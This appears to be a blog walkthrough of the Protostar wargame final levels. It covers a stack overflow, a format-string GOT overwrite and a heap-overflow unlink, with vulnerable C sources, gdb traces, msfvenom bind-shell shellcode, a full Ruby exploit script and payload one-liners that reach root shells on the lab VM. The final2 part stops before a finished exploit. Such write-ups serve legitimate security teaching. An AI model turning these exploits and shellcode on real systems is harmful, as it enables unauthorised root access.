index search github twitter

Exploit-Exercises: Protostar (Final Levels)

Image: Exploit-Exercises: Protostar (v2)

user@protostar:~$ wget https://raw.githubusercontent.com/73696e65/gdbinit/master/gdb_init.txt --no-check-certificate -O ~/.gdbinit -q 

Protostar Final0

#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();
  
  printf("No such user %s\n", username);
}

We attach to the process as root to find the offset with stored EIP.

# window1:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -p 27474
Attaching to process 27474
...
gdb> c
[New process 27485]

# window2:
user@protostar:/tmp$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A" | nc 0 2995

# window1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 27485]
_______________________________________________________________________________
     eax:0804B008 ebx:35724134  ecx:00000000  edx:00000001     eflags:00010286
     esi:00000000 edi:00000000  esp:BFFFF780  ebp:41367241     eip:72413772
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a P c 
[007B:BFFFF780]---------------------------------------------------------[stack]
BFFFF7B0 : 01 00 00 00  54 F8 FF BF - 5C F8 FF BF  48 18 FE B7 ....T...\...H...
BFFFF7A0 : B0 98 04 08  00 00 00 00 - 28 F8 FF BF  76 DC EA B7 ........(...v...
BFFFF790 : 65 63 EC B7  40 10 FF B7 - 04 00 00 00  F4 7F FD B7 ec..@...........
BFFFF780 : 38 41 72 39  41 73 30 41 - 73 31 41 73  32 41 00 BF 8Ar9As0As1As2A..
[007B:0804B008]---------------------------------------------------------[ data]
0804B008 : 41 41 30 41  41 31 41 41 - 32 41 41 33  41 41 34 41 AA0AA1AA2AA3AA4A
0804B018 : 41 35 41 41  36 41 41 37 - 41 41 38 41  41 39 41 42 A5AA6AA7AA8AA9AB
[0073:72413772]---------------------------------------------------------[ code]
0x72413772:	Error while running hook_stop:
Cannot access memory at address 0x72413772
0x72413772 in ?? ()

# window2:
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x72413772
[*] Exact match at offset 532

# window1:
gdb> i r
eax            0x804b008	0x804b008
ecx            0x0	0x0
edx            0x1	0x1
ebx            0x35724134	0x35724134
esp            0xbffff780	0xbffff780
ebp            0x41367241	0x41367241
esi            0x0	0x0
edi            0x0	0x0
eip            0x72413772	0x72413772
eflags         0x10286	[ PF SF IF RF ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33

gdb> x /x 0x804b008
0x804b008:	0x41304141
gdb> x /s 0x804b008
0x804b008:	 "AA0AA1AA2AA3AA4AA5AA6AA7AA8AA9AB0AB1AB2AB3AB4AB5AB6AB7AB8AB9AC0AC1AC2AC3AC4AC5AC6AC7AC8AC9AD0AD1AD2AD3AD4AD5AD6AD7AD8AD9AE0AE1AE2AE3AE4AE5AE6AE7AE8AE9AF0AF1AF2AF3AF4AF5AF6AF7AF8AF9AG0AG1AG2AG3AG4AG5AG"...

So EAX points at the beginning to the buffer and we are lucky, because there is also call eax in binary.

root@kali32:~# /usr/share/metasploit-framework/msfelfscan -j eax final0
[final0]
0x08048d5f call eax
0x0804992b call eax
0x08054f4b call eax
0x08054f4b call eax

We use msfvenom to generate bind shell, port 2449, without newline characters and with uppercase encoding:

root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2449 -e x86/alpha_upper -b '\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 224 (iteration=0)
Payload size: 224 bytes
???t$?[SYIIICCCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIFQYKL7JCQCQS1CSZTBK9KQNPCV8MK01K1N1B3XC2C0C9LQ2J4PF160K9KQCZ560X8MK0K91QTDH3DDX02F8MK0PC80RFHMMPZ3V9RJWOV8HMK0PIT9KHCX6OVOT3RHRHVOCRU9BNMYM30PPSLIKQNPDKXMK0AA

The lower case t at the beginning of the payload is used in order to find the payload’s absolute location in memory and obtain a position-independent shellcode, more here.

Because we can refer to this position also with the register eax, we can get rid of lower case character:

root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2449 -e x86/alpha_upper -b '\x0a\x0d' BufferRegister=EAX
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 217 (iteration=0)
Payload size: 217 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIVQIKJWZC0SQS0S3Z4BK9M1X0CVHMMP1KQN1B3XER5P39J1RJTPV10PLIM1SZCVV88MMPMYW1S4H3ETH0BFHMMPPCNP3VHMK0MC69SZ7OF8XMMPW9BYKHSXFOFOSCSX3X6O52RI2NK9ZC0P63MYM1X04K8MMPAA

Exploit:

#!/usr/bin/env ruby

require 'socket'

#root@kali32:~# /usr/share/metasploit-framework/msfelfscan -j eax final0 
#[final0]
#0x08048d5f call eax
#0x0804992b call eax
#0x08054f4b call eax
#0x08054f4b call eax

#root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x72413772
#[*] Exact match at offset 532

#root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2449 -e x86/alpha_upper -b '\x0a\x0d' BufferRegister=EAX -f ruby
buf = 
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" +
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" +
"\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" +
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" +
"\x4a\x4a\x49\x36\x51\x49\x4b\x4c\x37\x4a\x43\x36\x33\x50" +
"\x43\x56\x33\x43\x5a\x53\x32\x4d\x59\x4d\x31\x48\x30\x33" +
"\x56\x58\x4d\x4d\x50\x31\x4b\x31\x4e\x31\x42\x42\x48\x54" +
"\x42\x35\x50\x53\x39\x4a\x31\x32\x4a\x32\x30\x46\x31\x56" +
"\x30\x4c\x49\x4d\x31\x52\x4a\x42\x46\x30\x58\x58\x4d\x4b" +
"\x30\x4d\x59\x31\x51\x44\x44\x38\x33\x55\x54\x4e\x50\x32" +
"\x46\x38\x4d\x4d\x50\x30\x43\x4e\x50\x45\x36\x38\x4d\x4b" +
"\x30\x5a\x33\x36\x39\x53\x5a\x47\x4f\x50\x58\x48\x4d\x4b" +
"\x30\x31\x59\x32\x59\x4a\x58\x45\x38\x36\x4f\x56\x4f\x32" +
"\x53\x53\x58\x35\x38\x46\x4f\x45\x32\x53\x59\x32\x4e\x4d" +
"\x59\x4a\x43\x36\x30\x56\x33\x4b\x39\x4d\x31\x58\x30\x44" +
"\x4b\x58\x4d\x4b\x30\x41\x41"

exploit = buf + "A" * (532 - buf.length)
exploit << [0x08048d5f].pack("V")

host = ARGV[0]
host ||= "192.168.80.154"

puts "Using host: #{host}"

s = TCPSocket.new host, 2995
s.puts(exploit)
s.close
user@protostar:/tmp$ ./exploit-final0.rb 
Using host: 192.168.80.154

user@protostar:/tmp$ nc 0 2449
id
uid=0(root) gid=0(root) groups=0(root)

Protostar Final1

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();

}

We don’t use spaces to find our format string to have more spaces left for exploit. Also, both username and login parameters are vulnerable, we use username to store shellcode and login for overwriting GOT entry for puts(). The line with timestamp is the entry from /var/log/syslog file.

user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + "BBBBCCCC"  + "\nlogin " + "%p" * 70 + "\n"'  | nc 0 2994
[final1] $ [final1] $ [final1] $ login failed
Jun 26 17:24:42 (none) final1: Login from 127.0.0.1:54427 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC] with password [0x8049ee40x804a2a00x804a2200xbffff7060xb7fd7ff40xbffff5580x69676f4c0x7266206e0x31206d6f0x302e37320x312e302e0x3434353a0x612037320x415b20730x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x424242420x434343430x6977205d0x702068740x777373610x2064726f0x2570255b0x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x25702570]

user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + "BBBBCCCC"  + "\nlogin " + "%p" * 43 + "\n"'  | nc 0 2994
[final1] $ [final1] $ [final1] $ login failed
Jun 26 17:26:22 (none) final1: Login from 127.0.0.1:54434 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC] with password [0x8049ee40x804a2a00x804a2200xbffff7060xb7fd7ff40xbffff5580x69676f4c0x7266206e0x31206d6f0x302e37320x312e302e0x3434353a0x612034330x415b20730x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x424242420x43434343]

user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + "BBBBCCCC"  + "\nlogin " + "%42\$p%43\$p" + "\n"'  | nc 0 2994
[final1] $ [final1] $ [final1] $ login failed
Jun 26 17:27:21 (none) final1: Login from 127.0.0.1:54435 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC] with password [0x424242420x43434343]

We have 109 bytes for shellcode, not much but it should be sufficient.

root@protostar:/tmp# objdump -t /opt/protostar/bin/final1  | grep username
0804a220 g     O .bss	00000080              username

user@protostar:/tmp$ objdump -TR /opt/protostar/bin/final1 | grep puts
00000000      DF *UND*	00000000  GLIBC_2.0   puts
0804a194 R_386_JUMP_SLOT   puts

In order to pass this challenge, we need to store the address 0x0804a220 to 0x0804a194. Our formatter.rb is the same script as in the protostar format challenges.

user@protostar:/tmp$ ruby1.9.1 ./formatter.rb 42:0x0804a194:0x0804a220
ruby -e 'print [0x0804a196].pack("V") + [0x0804a194].pack("V") + "%42\$2044x%42\$hn%43\$39452x%43\$hn"'

Exploitation process:

# window1:
root@protostar:/tmp# gdb -q -ex 'set detach-on-fork off' -ex 'set follow-fork-mode child' -ex 'set disassembly-flavor intel' -ex 'run' /opt/protostar/bin/final1
Reading symbols from /opt/protostar/bin/final1...done.
Starting program: /opt/protostar/bin/final1 
[New process 29349]
[New process 29352]

# window2:
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + [0x0804a196].pack("V") + [0x0804a194].pack("V")  + "\nlogin " + "%42\$2044x%42\$hn%43\$39452x%43\$hn" + "\n"'  | nc 0 2994
[final1] $ [final1] $ [final1] $ ^C

# window1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29352]
0x08a1a2bd in ?? ()

(gdb) x /x 0x0804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:	0x08a1a2bd

So, we have 0x08a1a2bd instead of 0x0804a220, let’s see the difference:

0x08a1-0x0804 = 157
0xa2bd-0xa220 = 157

Substracting 157 from 2044, we got 1887 and that is the correct value, which we will use. Another try:

# window1:
root@protostar:/tmp# gdb -q -ex 'set detach-on-fork off' -ex 'set follow-fork-mode child' -ex 'set disassembly-flavor intel' -ex 'run' /opt/protostar/bin/final1
Reading symbols from /opt/protostar/bin/final1...done.
Starting program: /opt/protostar/bin/final1 
[New process 29370]
[New process 29373]

# window2:
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + [0x0804a196].pack("V") + [0x0804a194].pack("V")  + "\nlogin " + "%42\$1887x%42\$hn%43\$39452x%43\$hn" + "\n"'  | nc 0 2994
[final1] $ [final1] $ [final1] $ ^C

# window1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29373]
0x0804a28e in username ()
(gdb) x /x 0x0804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:	0x0804a220

That’s correct, now we need to generate payload not longer than 109 bytes:

root@kali32:~# /usr/share/metasploit-framework/tools/payload_lengths.rb | awk ' $2<=100' | grep 'linux/x86'
    linux/x86/adduser                                   97
    linux/x86/chmod                                     36
    linux/x86/exec                                      36
    linux/x86/meterpreter/bind_ipv6_tcp                 85
    linux/x86/meterpreter/bind_nonx_tcp                 63
    linux/x86/meterpreter/find_tag                      37
    linux/x86/meterpreter/reverse_ipv6_tcp              77
    linux/x86/meterpreter/reverse_nonx_tcp              50
    linux/x86/read_file                                 62
    linux/x86/shell/bind_ipv6_tcp                       85
    linux/x86/shell/bind_nonx_tcp                       63
    linux/x86/shell/find_tag                            37
    linux/x86/shell/reverse_ipv6_tcp                    77
    linux/x86/shell/reverse_nonx_tcp                    50
    linux/x86/shell_bind_ipv6_tcp                       90
    linux/x86/shell_bind_tcp                            78
    linux/x86/shell_bind_tcp_random_port                57
    linux/x86/shell_find_port                           62
    linux/x86/shell_find_tag                            69
    linux/x86/shell_reverse_tcp                         68
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2450 -b '\x0a\x0d\x00' -f sh
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 105 (iteration=0)
Payload size: 105 bytes
export buf=\
$'\xda\xd9\xbd\xfe\xa6\x57\x8e\xd9\x74\x24\xf4\x5a\x31\xc9'\
$'\xb1\x14\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1c\x53\x66'\
$'\x55\x17\x7f\xda\x2a\x84\xea\xdf\x25\xcb\x5b\xb9\xf8\x8b'\
$'\xc7\x18\x51\xe3\xf5\xa4\x5c\x61\x93\xb4\x0f\xd5\xed\x54'\
$'\xc5\xb3\xb5\x5b\x9a\xb2\x07\x60\x28\xc0\x37\x0e\x83\x48'\
$'\x74\x7f\x7d\x85\xfb\xec\xdb\x7f\xc3\x4a\x11\xff\x72\x12'\
$'\x51\x97\xab\xcb\xd2\x0f\xdc\x3c\x77\xa6\x72\xca\x94\x68'\
$'\xd8\x45\xbb\x38\xd5\x98\xbc'
user@protostar:/tmp$ export buf=\
> $'\xda\xd9\xbd\xfe\xa6\x57\x8e\xd9\x74\x24\xf4\x5a\x31\xc9'\
> $'\xb1\x14\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1c\x53\x66'\
> $'\x55\x17\x7f\xda\x2a\x84\xea\xdf\x25\xcb\x5b\xb9\xf8\x8b'\
> $'\xc7\x18\x51\xe3\xf5\xa4\x5c\x61\x93\xb4\x0f\xd5\xed\x54'\
> $'\xc5\xb3\xb5\x5b\x9a\xb2\x07\x60\x28\xc0\x37\x0e\x83\x48'\
> $'\x74\x7f\x7d\x85\xfb\xec\xdb\x7f\xc3\x4a\x11\xff\x72\x12'\
> $'\x51\x97\xab\xcb\xd2\x0f\xdc\x3c\x77\xa6\x72\xca\x94\x68'\
> $'\xd8\x45\xbb\x38\xd5\x98\xbc'

user@protostar:/tmp$ ruby -e 'print "username " + ENV["buf"] + "A" * (109-105) + [0x0804a196].pack("V") + [0x0804a194].pack("V")  + "\nlogin " + "%42\$1887x%42\$hn%43\$39452x%43\$hn" + "\n"'  | nc 0 2994
[final1] $ [final1] $ [final1] $ ^C
user@protostar:/tmp$ nc 0 2450
id
uid=0(root) gid=0(root) groups=0(root)

Protostar Final2

#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
  char *start;
  char *p;
  int l;

  /*
  * Work out old software bug
  */

  p = rindex(buf, '/');
  l = strlen(p);
  if(p) {
      start = strstr(buf, "ROOT");
      if(start) {
          while(*start != '/') start--;
          memmove(start, p, l);
          printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?  "yes" : "no", start - buf);
      }
  }
}

int get_requests(int fd)
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
      if(dll >= 255) break;

      buf = calloc(REQSZ, 1);
      if(read(fd, buf, REQSZ) != REQSZ) break;

      if(strncmp(buf, "FSRD", 4) != 0) break;

      check_path(buf + 4);     

      dll++;
  }

  for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
      free(destroylist[i]);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  get_requests(fd);

}

The vulnerability is in this part of the source:

  p = rindex(buf, '/');
  l = strlen(p);

  if(p) {
      start = strstr(buf, "ROOT");
      if(start) {
          while(*start != '/') start--;
          memmove(start, p, l);
          printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?  "yes" : "no", start - buf);
      }
  }

It expects message with the content ..../..ROOT.../next, look for the rightmost /, then searching for string ROOT and going leftside, it finds another /.

Finally, it copies /next after the left /, before ROOT and creates ..../next\x00T...

We need at least one slash, because strlen(NULL) segfaults. The security issue is that if we don’t set left slash, it continues to the left through different chunk, for example:

1st chunk: "FSRD" + "0" * 123 + "/"
2nd chunk: "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + "AAAABBBB" + "X" * 103
3rd chunk: "XXXX"

In this case we copy everything after ROOT/ to the 1st chunk and overwrite the chunk metadata, so we have classic heap overflow.

To verify our concept, we attach to the final2 process as root user:

# window 1:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -ex 'c' -p 1627

# window 2:
user@protostar:/tmp$ ruby -e 'print "FSRD" + "0" * 123 +"/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + "AAAABBBB" + "X" * 107' | nc 0 2993

# window 1:
[New process 2405]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2405]
_______________________________________Current language:  auto
The current source language is "auto; currently c".
________________________________________
     eax:41414141 ebx:B7FD7FF4  ecx:0804C2D6  edx:42424242     eflags:00010246
     esi:00000000 edi:00000000  esp:BFFFF7E0  ebp:BFFFF828     eip:0804AAEF
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t s Z a P c 
[007B:BFFFF7E0]---------------------------------------------------------[stack]
BFFFF810 : 42 42 42 42  41 41 41 41 - 18 E1 04 08  18 E1 04 08 BBBBAAAA........
BFFFF800 : 88 E0 04 08  FC FF FF FF - 00 00 00 00  10 E1 04 08 ................
BFFFF7F0 : 00 D5 04 08  00 E0 04 08 - 88 00 00 00  45 BD 04 08 ............E...
BFFFF7E0 : 00 00 00 00  00 00 00 00 - 28 F8 FF BF  68 B5 04 08 ........(...h...
[007B:41414141]---------------------------------------------------------[ data]
41414141 : Error while running hook_stop:
Cannot access memory at address 0x41414141
0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648	final2/../common/malloc.c: No such file or directory.
	in final2/../common/malloc.c

gdb> i r eax edx
eax            0x41414141	0x41414141
edx            0x42424242	0x42424242

gdb> x /i $eip
0x804aaef <free+301>:	mov    DWORD PTR [eax+0xc],edx

gdb> x /50x 0x804e010
0x804e010:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e020:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e030:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e040:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e050:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e060:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e070:	0x30303030	0x30303030	0x30303030	0x30303030
0x804e080:	0x30303030	0x2f303030	0xfffffff8	0xfffffffc
0x804e090:	0x41414141	0x42424242	0x58585858	0x58585858
0x804e0a0:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e0b0:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e0c0:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e0d0:	0x58585858	0x58585858

We use GOT technique, modifing write and the shellcode will be stored in our first chunk (0x804e010).

root@protostar:/tmp# objdump -TR /opt/protostar/bin/final2 | grep "R_386_JUMP_SLOT.* write"
0804d41c R_386_JUMP_SLOT   write

(gdb) print /x 0x0804d41c-0x0c
$1 = 0x804d410

So we need to write 0x804e010 to 0x804d41c.

To check where are usable data in our buffer, we use metasploit pattern:

# window 1:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -ex 'c' -p 1627

# window 2:
user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0" + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" * 107' | nc 0 2993

# window 1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2427]
_______________________________________________________________________________
     eax:B7FFEFF4 ebx:B7FE1848  ecx:FFFFFFFF  edx:0013F1CC     eflags:00010286
     esi:BFFFF91C edi:00000001  esp:BFFFF8AC  ebp:B7FEBFC6     eip:0804E026
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a P c 
[007B:BFFFF8AC]---------------------------------------------------------[stack]
BFFFF8DC : FA 90 04 08  FC F8 FF BF - 05 00 00 00  00 00 00 00 ................
BFFFF8CC : 11 00 20 01  00 00 00 00 - 28 67 E9 B7  08 F9 FF BF .. .....(g......
BFFFF8BC : B0 FA FF B7  A7 D8 F2 B7 - 01 00 00 00  01 00 00 00 ................
BFFFF8AC : E7 88 04 08  01 00 00 00 - F0 F8 FF BF  26 06 FF B7 ............&...
[007B:BFFFF91C]---------------------------------------------------------[ data]
BFFFF91C : 7B 00 00 00  7B 00 00 00 - 28 67 E9 B7  00 00 00 00 {...{...(g......
BFFFF92C : 18 FC FF BF  EC FB FF BF - 11 00 20 01  00 00 00 00 .......... .....
[0073:0804E026]---------------------------------------------------------[ code]
0x804e026:	cmp    BYTE PTR [ecx+0x61],al
0x804e029:	cmp    DWORD PTR [ecx+0x62],eax
0x804e02c:	xor    BYTE PTR [ecx+0x62],al
0x804e02f:	xor    DWORD PTR [ecx+0x62],eax
0x804e032:	xor    al,BYTE PTR [ecx+0x62]
0x804e035:	xor    eax,DWORD PTR [ecx+0x62]
------------------------------------------------------------------------------
0x0804e026 in ?? ()

gdb> x /50x 0x804e010
0x804e010:	0x61413161	0x33614132	0x0804d410	0x61413561
0x804e020:	0x37614136	0x41386141	0x62413961	0x31624130
0x804e030:	0x41326241	0x62413362	0x35624134	0x41367241
0x804e040:	0x62413762	0x39624138	0x41306341	0x63413163
0x804e050:	0x33634132	0x41346341	0x63413563	0x37634136
0x804e060:	0x41386341	0x64413963	0x3584d130	0x41326449
0x804e070:	0x64413364	0x35644134	0x41366441	0x64413764
0x804e080:	0x39644138	0x00000084	0xfffffff8	0xfffffffc
0x804e090:	0x0804d410	0x0804e010	0x58585858	0x58585858
0x804e0a0:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e0b0:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e0c0:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e0d0:	0x58585858	0x58585858
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x61413161
[*] Exact match at offset 4
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x61413561
[*] Exact match at offset 16
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x39644138
[*] Exact match at offset 116

Our code starts at pattern offset 4. There is also modification in the first 12 bytes, we use 2 bytes instruction and skip next 10 bytes, using \xeb\x0a opcode.

After another segfault, we have in gdb:

root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -ex 'c' -p 1627

user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + "a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0" + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" *  107' | nc 0 2993

gdb> x /i 0x804e010
0x804e010:	jmp    0x804e01c

gdb> x /30x 0x804e01c
0x804e01c:	0x61413561	0x37614136	0x41386141	0x62413961
0x804e02c:	0x31624130	0x41326241	0x62413362	0x35624134
0x804e03c:	0x41366241	0x62413762	0x39624138	0x41306341
0x804e04c:	0x63413163	0x33634132	0x41346341	0x63413563
0x804e05c:	0x37634136	0x41386341	0x64413963	0x31644130
